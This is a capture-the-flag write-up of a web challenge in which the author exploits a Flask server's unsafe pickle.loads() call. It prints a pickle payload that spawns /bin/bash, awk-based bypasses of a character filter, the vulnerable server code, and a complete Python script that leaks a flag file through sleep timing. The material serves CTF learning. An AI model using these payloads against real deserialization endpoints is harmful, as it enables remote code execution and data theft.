42Heilbronn Cyber Security Day: Jarred

Web, 499 Points

Fabian Rapp
Github

March 2025

I don't know web and this was my first CTF

Contents

1 TL;DR

I still don't know the intended solution, but I am sure it's not this one.

1. I googled how to input data to the request form
2. I made a quick chat gpt prompt to give me a brief summary of what the `pickle` lib is
3. I googled how and why `pickle.loads()` can be abused
4. I copy pasted some injection code I found online; `it was blocked`

5. I removed all input restrictions and found that I could execute my code on the server but I `couldn't catch the output` outside of the debugging server
6. I added the restrictions back and figured out `shell commands` seem to work good enough
7. I crafted shell commands to `traverse the path bypassing` the `restrictions`
8. I used `sleep to communicate leaked bytes via delays`

2 Introduction

The important part of the challenge's source code and my solution can be found at the end of this write-up.

2.1 Overview

This challenge involved a Python server with a vulnerable `pickle.loads()` call. It was protected by a `filter` that removed `'.'`, `'/'` and `'\'` while also ensuring the server didn't run in the root directory. The flag was stored in `/flag.txt`. So what is `pickle`? I only have a hint of an idea about that but here it is: Pickle is a python lib to handle data structure reads/writes to files to store them for later use. Since python's data structures are quite complex this involves code execution. This can be customized to allow arbitrary code execution, which is the core vulnerability in this challenge. This is where my knowledge on the topic ends. I just took some magic pickle injection code from the internet:

```
c
 os
 system
 (S'/bin/bash'
tR.
```

This got blocked by the filter. So I removed the filter(on the testing server). It worked, I had a shell on the server. `c os` stands for something along the lines `import os` and `system` is the same as `python/C system()` (which is basically taking input and executing it in a shell). One hurdle was that this resulted in `blind remote code execution`, meaning I could `execute bash commands` but `couldn't view their output`. Before dealing with the filter and `path traversal`, I wanted to plan a solution to this issue. My first idea was to use sockets but then I needed a public IP. For a second I thought about starting up my Hetzner server but I didn't want to deal with all of that in a restricted shell environment while not being confident with bash nor web. I consulted my team, and we devised a solution using `sleep as our communication medium`. This worked since the code would execute and the server would wait for it before sending the response. This delay was observable by our client. I wasn't sure about the exact data transfer protocol I would implement but with this data transport issue solved I started the implementation.

2.2 More Input Restrictions

After adding the filter('.', '/', '\') back to the testing server, the injection I found online was blocked. I replaced '/bin/bash' with 'ls' but the '.' at the end of the payload was still a problem. I removed it which caused pickle.loads() to fail, but only *after* the code injection was executed (which didn't matter to the attack at that point anymore). Using a multi-line command also didn't work. Bash command chaining with `'&&'`, `'||'`, ';' and variable assignment also didn't work.

3 Implementation

3.1 Restriction Bypass

Knowing these restrictions, I started bypassing them. My first goal: Executing `cat ../flag.txt`. First I tried extracting the '.' out of the output of `ls` which would include 'app.py' and the '/' out of the output of `pwd`. Without regex (since very control characters were blocked) I would rather not want to do that and I looked into ascii integer value to char conversion in bash. I found awk 'BEGINprintf "%c", 65'. With this I got the bypass for the server side filter solved: For my first goal of `cat ../flag.txt` I got this(original without newlines):

```
cat $(awk 'BEGIN{printf "%c", 46}')
    $(awk 'BEGIN{printf "%c", 46}')
    $(awk 'BEGIN{printf "%c", 47}')
    flag$(awk 'BEGIN{printf "%c", 46}')txt
```

For simplicity I will replace this bash command above in the future with `CAT`. To test the information leaking via sleep I started with the length. I used

```
sleep $(CAT | wc -c)
```

to sleep the server for the length of the flag. To catch this information I implemented this in python:

```
def send_code(code):
    payload = b"cos\nsystem\n(S'" + code + b"'\ntR"
    exploit = base64.b64encode(payload).decode()
    form = {
            'data': exploit
    }
    start_time = time.time()
    r = requests.post("http://IP:PORT/deserialize", data=form)
    end_time = time.time()
    elapsed_time = end_time - start_time
    print(f"Request took {elapsed_time:.1f} seconds")
    print(r.status_code)
    print(r.text)
    return elapsed_time
```

'code' is the bash code and 'elapsed_time' would be the length of the flag in this case. I got 15 for the length of my dummy flag (which was correct) and 25 for the actual challenge flag. To test for lags to the remote server, I made several requests and compared the expected run time to the actual runtime since this could add noise to the sleep based data transfer. The highest lag I got was 0.6 seconds. I decided it was fine and continued.

3.2 Code Generation

It is possible to write anything is this subset of bash, but it wasn't nice to code. I decided to use this first command as a foundation. The rest I implemented in Python with string operations that expand this foundation.

3.3 Data Transfer Algorithm

Since I didn't know (and didn't test for) what kind of server the challenge was hosted on. I saw that my teammates had the same ip/port as me and I was a little worried about what would happen if I sleep the server for something along the lines of 10-30 minutes to extract the data. I started to implemented a way to get information of substring of the flag with this function:

```
#1 indexed, inclusive start and end
def sub_str(start, end):
    with open("substr.sh", mode="rb") as f:
        code = f.read().strip()
    code += b' '
    code += str(start).encode() + b' ' + str(end).encode()
    return (code)
```

Where 'substr.sh' was the file with the content: `expr substr $(CAT)`

This is the last time I would write code outside of python.

I abandoned the idea of getting information from multiple chars at the same time. I was considering a binary transport but I didn't want to convert ASCII to binary in bash. So I sticked with the simple version of sleeping for the ASCII value for now. I googled for a bash command to convert a char to it's ascii value and I got `od -An -tuC`. This I could pipe a single char into and it would output the decimal and octal value. From the man page of 'od' I couldn't see right away why it would output decimal and ocal. I filtered it like this to only get the decimal value:

```
    od -An -tuC | awk '{$1=$1; print}' | cut -d' ' -f1
```

The final python function:

```
# 1 indexed
def sleep_ascii(idx):
    code = sub_str(idx, idx)
    code = code + b" | od -An -tuC | awk '{$1=$1; print}' | cut -d'
        ' -f1"
    code = b'sleep $(' + code + b')'
    return code
```

To speed the extraction up I implemented this function:

```
# 1 indexed
# will sleep for the ascii value - the given ofset
def sleep_ascii_offset(idx, offset):
    code = sub_str(idx, idx)
    code += b" | od -An -tuC | awk '{$1=$1; print}' | cut -d' ' -f1
        "
    code = b'expr $( ' + code + b' ) - ' + str(offset).encode()
    code = b'sleep $(' + code + b')'
    return code
```

My first idea was to start at 128 offset(highest printable ascii value) and increase it until I get measure sleep time (offset ¡ ascii value). I had some strange issues where the output didn't make sense. Looking at the undo tree of my editor there are several branches with about 100 different states but this state I think shows my idea(not part of the final source code):

```
flag=""
for i in range(0, 15):
    j = 0
    while 1:
        code = sleep_ascii_offset(i, 128 - j)
        print(f"script : {code.decode()}")
        print(f"cur flag: {flag}")

        runtime = send_code(code)
        time.sleep(0.3)
        if runtime >= 1.0:
            flag += chr(int(128 - j))
            break
        j = j + 1
```

18 hours into the CTF event, I didn't have the will to debug it and went with a simpler solution. I removed this transfer optimization and went with a constant offset of 33. This would skip the unprintable ascii range and save 33 seconds for each char. To extract the flag I wrote this loop:

```
flag = ""
for i in range(1, flag_len + 1):
    code = sleep_ascii_offset(i, 33)
    print(f"script : {code.decode()}")
    runtime = send_code(code)
    flag += chr(int(runtime + 33))
    print(f"cur flag: {flag}")

print(f"finished flag: {flag}")
```

I decided that the server is probably fine if I sleep it for an extended amount of time and in the worst case will timeout the script executing my code. This never happened and after about 15 Minutes I managed to leak the full flag. Also the data noise concern I had before (coming from server lags) never actually showed.

4 Perspective

My experience in terms of software/systems knowledge lies in the low level stuff. Preparing for this CTF I mostly prepared for binary exploitation. In the days before the event I focused on shellcode(binary op-codes that lead to execve("/bin/bash", 0, 0)) injection. This gave me practice in wiggling my way through conditions with minimal use of tools.

5 Challenges Server Source Code

```
from flask import Flask, request, render_template_string
import pickle
import os
import base64

app = Flask(__name__)

app.secret_key = os.urandom(24)

@app.route('/')
def index():
    # check github for full html, not relevant for this attack
    return render_template_string("""....""")

#this is the route I attacked
@app.route('/deserialize', methods=['POST'])
def deserialize():
    pickled_data = request.form['data']

    try:
        pickled_bytes = base64.b64decode(pickled_data)
        ban=[b".",b"/",b"\\"]

        for pattern in ban:
            if pattern in pickled_bytes:
                raise ValueError(f"Payload contains banned
                    characters! {pattern}")
        obj = pickle.loads(pickled_bytes) # vuln here

        return render_template_string("""
            <div class="container">
                <h1>Deserialized Object</h1>
                <div class="output">{{ obj }}</div>
                <a href="/">Go back</a>
            </div>
        """, obj=obj)
    except Exception as e:
        return render_template_string("""
            <div class="container">
                <h1>Error</h1>
                <div class="output">{{ error_message }}</div>
                <a href="/">Go back</a>
            </div>
        """, error_message=str(e))
```

```
if __name__ == '__main__':
    app.run(debug=False)
```

6 Full Solution Source Code

```
#substr.sh
#the range for the substring will be appended py the python script
#newlines and indents added for readabilty, original without
    newlines
#expr substr cat ../flag.txt
expr substr $(
    cat
        $(awk 'BEGIN{printf "%c", 46}')
        $(awk 'BEGIN{printf "%c", 46}')
        $(awk 'BEGIN{printf "%c", 47}')
        flag
        $(awk 'BEGIN{printf "%c", 46}')
        txt
)
```

```
#sol.py
import base64
import requests
import time

# 1 indexed
# will sleep for the ascii value - the given ofset
def sub_str(start, end):
    with open("substr.sh", mode="rb") as f:
        code = f.read().strip()
    code += b' '
    code += str(start).encode() + b' ' + str(end).encode()
    return (code)

# 1 indexed
def sleep_ascii(idx):
    code = sub_str(idx, idx)
    code = code + b" | od -An -tuC | awk '{$1=$1; print}' | cut -d'
        ' -f1"
    code = b'sleep $(' + code + b')'
    return code

# 1 indexed
# will sleep for the ascii value - the given ofset
def sleep_ascii_offset(idx, offset):
    code = sub_str(idx, idx)
    code += b" | od -An -tuC | awk '{$1=$1; print}' | cut -d' ' -f1
        "
    code = b'expr $( ' + code + b' ) - ' + str(offset).encode()
    code = b'sleep $(' + code + b')'
    return code

# code is the bash generated bash code
```

```python
def send_code(code):
    payload = b"cos\nsystem\n(S'" + code + b"'\ntR"
    exploit = base64.b64encode(payload).decode()
    form = {
            'data': exploit
    }
    start_time = time.time()
    r = requests.post("http://IP:PORT/deserialize", data=form)
    end_time = time.time()
    elapsed_time = end_time - start_time
    print(f"Request took {elapsed_time:.1f} seconds")
    print(r.status_code)
    print(r.text)
    return elapsed_time

def get_flag_len():
    with open('srcipt_len_back.sh', mode='rb') as f:
        code = f.read()
    print(f"script : {code.decode()}")
    flag_len = int(send_code(code))
    print(f"flag_len: {flag_len}")
    return (flag_len)

flag_len = get_flag_len()

flag = ""
for i in range(1, flag_len + 1):
    code = sleep_ascii_offset(i, 33)
    print(f"script : {code.decode()}")
    runtime = send_code(code)
    flag += chr(int(runtime + 33))
    print(f"cur flag: {flag}")

print(f"finished flag: {flag}")
```

7 Useful Links

- Basics of lib pickle from a programmer view
- Exploiting Python pickles
- Bash Script to Get ASCII Values for a Character
- Indexing a string in bash
- Int to ASCII-char in Bash
- My Github repo of this challenge